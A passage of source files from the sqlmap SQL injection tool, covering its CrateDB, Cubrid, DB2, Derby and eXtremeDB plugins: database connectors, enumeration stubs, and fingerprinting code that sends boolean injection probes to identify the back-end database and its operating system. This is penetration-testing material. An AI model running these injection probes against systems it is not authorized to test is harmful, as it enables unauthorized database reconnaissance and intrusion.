is not possible to enumerate the user roles" logger.warning(warnMsg) return {} ================================================ FILE: plugins/dbms/cratedb/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): pass ================================================ FILE: plugins/dbms/cratedb/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import CRATEDB_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.CRATEDB) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.CRATEDB return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(CRATEDB_ALIASES): setDbms(DBMS.CRATEDB) self.getBanner() return True infoMsg = "testing %s" % DBMS.CRATEDB logger.info(infoMsg) result = inject.checkBooleanExpression("IGNORE3VL(NULL IS NULL)") if result: infoMsg = "confirming %s" % DBMS.CRATEDB logger.info(infoMsg) result = inject.checkBooleanExpression("1~1") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.CRATEDB logger.warning(warnMsg) return False setDbms(DBMS.CRATEDB) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.CRATEDB logger.warning(warnMsg) return False ================================================ FILE: plugins/dbms/cratedb/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" True """ return expression ================================================ FILE: plugins/dbms/cratedb/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): errMsg = "on CrateDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on CrateDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on CrateDB it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on CrateDB it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/cubrid/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import CUBRID_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.cubrid.enumeration import Enumeration from plugins.dbms.cubrid.filesystem import Filesystem from plugins.dbms.cubrid.fingerprint import Fingerprint from plugins.dbms.cubrid.syntax import Syntax from plugins.dbms.cubrid.takeover import Takeover from plugins.generic.misc import Miscellaneous class CubridMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Cubrid methods """ def __init__(self): self.excludeDbsList = CUBRID_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.CUBRID] = Syntax.escape ================================================ FILE: plugins/dbms/cubrid/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ try: import CUBRIDdb except: pass import logging from lib.core.common import getSafeExString from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: https://github.com/CUBRID/cubrid-python User guide: https://github.com/CUBRID/cubrid-python/blob/develop/README.md API: https://www.python.org/dev/peps/pep-0249/ License: BSD License """ def connect(self): self.initConnection() try: self.connector = CUBRIDdb.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout) except CUBRIDdb.DatabaseError as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except CUBRIDdb.DatabaseError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None def execute(self, query): try: self.cursor.execute(query) except CUBRIDdb.DatabaseError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) except CUBRIDdb.Error as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() def select(self, query): self.execute(query) return self.fetchall() ================================================ FILE: plugins/dbms/cubrid/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getPasswordHashes(self): warnMsg = "on Cubrid it is not possible to enumerate password hashes" logger.warning(warnMsg) return {} def getStatements(self): warnMsg = "on Cubrid it is not possible to enumerate the SQL statements" logger.warning(warnMsg) return [] def getRoles(self, *args, **kwargs): warnMsg = "on Cubrid it is not possible to enumerate the user roles" logger.warning(warnMsg) return {} def getHostname(self): warnMsg = "on Cubrid it is not possible to enumerate the hostname" logger.warning(warnMsg) ================================================ FILE: plugins/dbms/cubrid/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): pass ================================================ FILE: plugins/dbms/cubrid/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import CUBRID_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.CUBRID) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.CUBRID return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(CUBRID_ALIASES): setDbms(DBMS.CUBRID) self.getBanner() return True infoMsg = "testing %s" % DBMS.CUBRID logger.info(infoMsg) result = inject.checkBooleanExpression("{} SUBSETEQ (CAST ({} AS SET))") if result: infoMsg = "confirming %s" % DBMS.CUBRID logger.info(infoMsg) result = inject.checkBooleanExpression("DRAND()<2") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.CUBRID logger.warning(warnMsg) return False setDbms(DBMS.CUBRID) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.CUBRID logger.warning(warnMsg) return False ================================================ FILE: plugins/dbms/cubrid/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> from lib.core.common import Backend >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" True """ def escaper(value): return "||".join("CHR(%d)" % _ for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) ================================================ FILE: plugins/dbms/cubrid/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): errMsg = "on Cubrid it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on Cubrid it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on Cubrid it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on Cubrid it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/db2/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import DB2_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.db2.enumeration import Enumeration from plugins.dbms.db2.filesystem import Filesystem from plugins.dbms.db2.fingerprint import Fingerprint from plugins.dbms.db2.syntax import Syntax from plugins.dbms.db2.takeover import Takeover from plugins.generic.misc import Miscellaneous class DB2Map(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines DB2 methods """ def __init__(self): self.excludeDbsList = DB2_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.DB2] = Syntax.escape ================================================ FILE: plugins/dbms/db2/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ try: import ibm_db_dbi except: pass import logging from lib.core.common import getSafeExString from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: https://github.com/ibmdb/python-ibmdb User guide: https://github.com/ibmdb/python-ibmdb/wiki/README API: https://www.python.org/dev/peps/pep-0249/ License: Apache License 2.0 """ def connect(self): self.initConnection() try: database = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port) self.connector = ibm_db_dbi.connect(database, self.user, self.password) except ibm_db_dbi.OperationalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except ibm_db_dbi.ProgrammingError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) return None def execute(self, query): try: self.cursor.execute(query) except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError) as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) except ibm_db_dbi.InternalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() def select(self, query): self.execute(query) return self.fetchall() ================================================ FILE: plugins/dbms/db2/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getPasswordHashes(self): warnMsg = "on IBM DB2 it is not possible to enumerate password hashes" logger.warning(warnMsg) return {} def getStatements(self): warnMsg = "on IBM DB2 it is not possible to enumerate the SQL statements" logger.warning(warnMsg) return [] ================================================ FILE: plugins/dbms/db2/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): pass ================================================ FILE: plugins/dbms/db2/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import DB2_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.DB2) def _versionCheck(self): minor, major = None, None for version in reversed(xrange(5, 15)): result = inject.checkBooleanExpression("(SELECT COUNT(*) FROM sysibm.sysversions WHERE versionnumber BETWEEN %d000000 AND %d999999)>0" % (version, version)) if result: major = version for version in reversed(xrange(0, 20)): result = inject.checkBooleanExpression("(SELECT COUNT(*) FROM sysibm.sysversions WHERE versionnumber BETWEEN %d%02d0000 AND %d%02d9999)>0" % (major, version, major, version)) if result: minor = version version = "%s.%s" % (major, minor) break break if major and minor: return "%s.%s" % (major, minor) else: return None def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.DB2 return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(DB2_ALIASES): setDbms(DBMS.DB2) return True logMsg = "testing %s" % DBMS.DB2 logger.info(logMsg) result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1)") if result: logMsg = "confirming %s" % DBMS.DB2 logger.info(logMsg) result = inject.checkBooleanExpression("JULIAN_DAY(CURRENT DATE) IS NOT NULL") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.DB2 logger.warning(warnMsg) return False version = self._versionCheck() if version: Backend.setVersion(version) setDbms("%s %s" % (DBMS.DB2, Backend.getVersion())) else: setDbms(DBMS.DB2) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.DB2 logger.warning(warnMsg) return False def checkDbmsOs(self, detailed=False): if Backend.getOs(): return infoMsg = "fingerprinting the back-end DBMS operating system " infoMsg += "version and service pack" logger.info(infoMsg) query = "(SELECT LENGTH(OS_NAME) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_NAME LIKE '%WIN%')>0" result = inject.checkBooleanExpression(query) if not result: Backend.setOs(OS.LINUX) else: Backend.setOs(OS.WINDOWS) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() if result: versions = { "2003": ("5.2", (2, 1)), "2008": ("7.0", (1,)), "2000": ("5.0", (4, 3, 2, 1)), "7": ("6.1", (1, 0)), "XP": ("5.1", (2, 1)), "NT": ("4.0", (6, 5, 4, 3, 2, 1)) } # Get back-end DBMS underlying operating system version for version, data in versions.items(): query = "(SELECT LENGTH(OS_VERSION) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_VERSION = '%s')>0" % data[0] result = inject.checkBooleanExpression(query) if result: Backend.setOsVersion(version) infoMsg += " %s" % Backend.getOsVersion() break if not Backend.getOsVersion(): return # Get back-end DBMS underlying operating system service pack for sp in versions[Backend.getOsVersion()][1]: query = "(SELECT LENGTH(OS_RELEASE) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_RELEASE LIKE '%Service Pack " + str(sp) + "%')>0" result = inject.checkBooleanExpression(query) if result: Backend.setOsServicePack(sp) break if not Backend.getOsServicePack(): Backend.setOsServicePack(0) debugMsg = "assuming the operating system has no service pack" logger.debug(debugMsg) if Backend.getOsVersion(): infoMsg += " Service Pack %d" % Backend.getOsServicePack() logger.info(infoMsg) ================================================ FILE: plugins/dbms/db2/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" True """ def escaper(value): return "||".join("CHR(%d)" % _ for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) ================================================ FILE: plugins/dbms/db2/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): self.__basedir = None self.__datadir = None GenericTakeover.__init__(self) ================================================ FILE: plugins/dbms/derby/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import DERBY_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.derby.enumeration import Enumeration from plugins.dbms.derby.filesystem import Filesystem from plugins.dbms.derby.fingerprint import Fingerprint from plugins.dbms.derby.syntax import Syntax from plugins.dbms.derby.takeover import Takeover from plugins.generic.misc import Miscellaneous class DerbyMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Apache Derby methods """ def __init__(self): self.excludeDbsList = DERBY_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.DERBY] = Syntax.escape ================================================ FILE: plugins/dbms/derby/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ try: import drda except: pass import logging from lib.core.common import getSafeExString from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: https://github.com/nakagami/pydrda/ User guide: https://github.com/nakagami/pydrda/blob/master/README.rst API: https://www.python.org/dev/peps/pep-0249/ License: MIT """ def connect(self): self.initConnection() try: self.connector = drda.connect(host=self.hostname, database=self.db, port=self.port) except drda.OperationalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except drda.ProgrammingError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None def execute(self, query): try: self.cursor.execute(query) except (drda.OperationalError, drda.ProgrammingError) as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) except drda.InternalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) try: self.connector.commit() except drda.OperationalError: pass def select(self, query): self.execute(query) return self.fetchall() ================================================ FILE: plugins/dbms/derby/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import singleTimeWarnMessage from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getPasswordHashes(self): warnMsg = "on Apache Derby it is not possible to enumerate password hashes" logger.warning(warnMsg) return {} def getStatements(self): warnMsg = "on Apache Derby it is not possible to enumerate the SQL statements" logger.warning(warnMsg) return [] def getPrivileges(self, *args, **kwargs): warnMsg = "on Apache Derby it is not possible to enumerate the user privileges" logger.warning(warnMsg) return {} def getRoles(self, *args, **kwargs): warnMsg = "on Apache Derby it is not possible to enumerate the user roles" logger.warning(warnMsg) return {} def getHostname(self): warnMsg = "on Apache Derby it is not possible to enumerate the hostname" logger.warning(warnMsg) def getBanner(self): warnMsg = "on Apache Derby it is not possible to enumerate the banner" singleTimeWarnMessage(warnMsg) ================================================ FILE: plugins/dbms/derby/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): pass ================================================ FILE: plugins/dbms/derby/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import DERBY_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.DERBY) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.DERBY return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(DERBY_ALIASES): setDbms(DBMS.DERBY) self.getBanner() return True infoMsg = "testing %s" % DBMS.DERBY logger.info(infoMsg) result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1 OFFSET 0 ROWS FETCH FIRST 1 ROW ONLY)") if result: infoMsg = "confirming %s" % DBMS.DERBY logger.info(infoMsg) result = inject.checkBooleanExpression("(SELECT CURRENT SCHEMA FROM SYSIBM.SYSDUMMY1) IS NOT NULL") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.DERBY logger.warning(warnMsg) return False setDbms(DBMS.DERBY) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.DERBY logger.warning(warnMsg) return False ================================================ FILE: plugins/dbms/derby/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" True """ return expression ================================================ FILE: plugins/dbms/derby/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): errMsg = "on Apache Derby it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on Apache Derby it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on Apache Derby it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on Apache Derby it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/extremedb/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import EXTREMEDB_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.extremedb.enumeration import Enumeration from plugins.dbms.extremedb.filesystem import Filesystem from plugins.dbms.extremedb.fingerprint import Fingerprint from plugins.dbms.extremedb.syntax import Syntax from plugins.dbms.extremedb.takeover import Takeover from plugins.generic.misc import Miscellaneous class ExtremeDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines eXtremeDB methods """ def __init__(self): self.excludeDbsList = EXTREMEDB_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.EXTREMEDB] = Syntax.escape ================================================ FILE: plugins/dbms/extremedb/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): def connect(self): errMsg = "on eXtremeDB it is not (currently) possible to establish a " errMsg += "direct connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/extremedb/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getBanner(self): warnMsg = "on eXtremeDB it is not possible to get the banner" logger.warning(warnMsg) return None def getCurrentUser(self): warnMsg = "on eXtremeDB it is not possible to enumerate the current user" logger.warning(warnMsg) def getCurrentDb(self): warnMsg = "on eXtremeDB it is not possible to get name of the current database" logger.warning(warnMsg) def isDba(self, user=None): warnMsg = "on eXtremeDB it is not possible to test if current user is DBA" logger.warning(warnMsg) def getUsers(self): warnMsg = "on eXtremeDB it is not possible to enumerate the users" logger.warning(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on eXtremeDB it is not possible to enumerate the user password hashes" logger.warning(warnMsg) return {} def getPrivileges(self, *args, **kwargs): warnMsg = "on eXtremeDB it is not possible to enumerate the user privileges" logger.warning(warnMsg) return {} def getDbs(self): warnMsg = "on eXtremeDB it is not possible to enumerate databases (use only '--tables')" logger.warning(warnMsg) return [] def searchDb(self): warnMsg = "on eXtremeDB it is not possible to search databases" logger.warning(warnMsg) return [] def searchTable(self): warnMsg = "on eXtremeDB it is not possible to search tables" logger.warning(warnMsg) return [] def searchColumn(self): warnMsg = "on eXtremeDB it is not possible to search columns" logger.warning(warnMsg) return [] def search(self): warnMsg = "on eXtremeDB search option is not available" logger.warning(warnMsg) def getHostname(self): warnMsg = "on eXtremeDB it is not possible to enumerate the hostname" logger.warning(warnMsg) def getStatements(self): warnMsg = "on eXtremeDB it is not possible to enumerate the SQL statements" logger.warning(warnMsg) return [] ================================================ FILE: plugins/dbms/extremedb/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def readFile(self, remoteFile): errMsg = "on eXtremeDB it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on eXtremeDB it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/extremedb/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import EXTREMEDB_ALIASES from lib.core.settings import METADB_SUFFIX from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.EXTREMEDB) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.EXTREMEDB return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if 